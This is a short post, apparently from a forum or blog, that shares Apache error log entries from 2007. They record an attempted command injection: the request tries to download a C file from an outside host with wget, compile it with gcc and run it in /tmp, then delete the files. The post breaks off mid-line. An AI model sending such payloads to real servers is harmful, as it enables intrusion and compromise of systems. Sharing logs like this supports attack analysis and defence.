I wanted to share this interesting hit from my apache2 error log:
[Tue Nov 20 17:49:49 2007] [error] [client 200.253.204.130] Invalid URI in request GET cmd.gif?=?&cmd=cd /tmp;killall -9 barbut;rm -f barbut.c;rm -f barbut;wget http://crekom.com/barbut.c;gcc barbut.c -o barbut;./b HTTP/1.1
[Tue Nov 20 17:49:50 2007] [error] [client 200.253.204.130] Invalid URI in request GET arbut ;rm -f barbut barbut.c HTTP/1.1
[Tue [...]
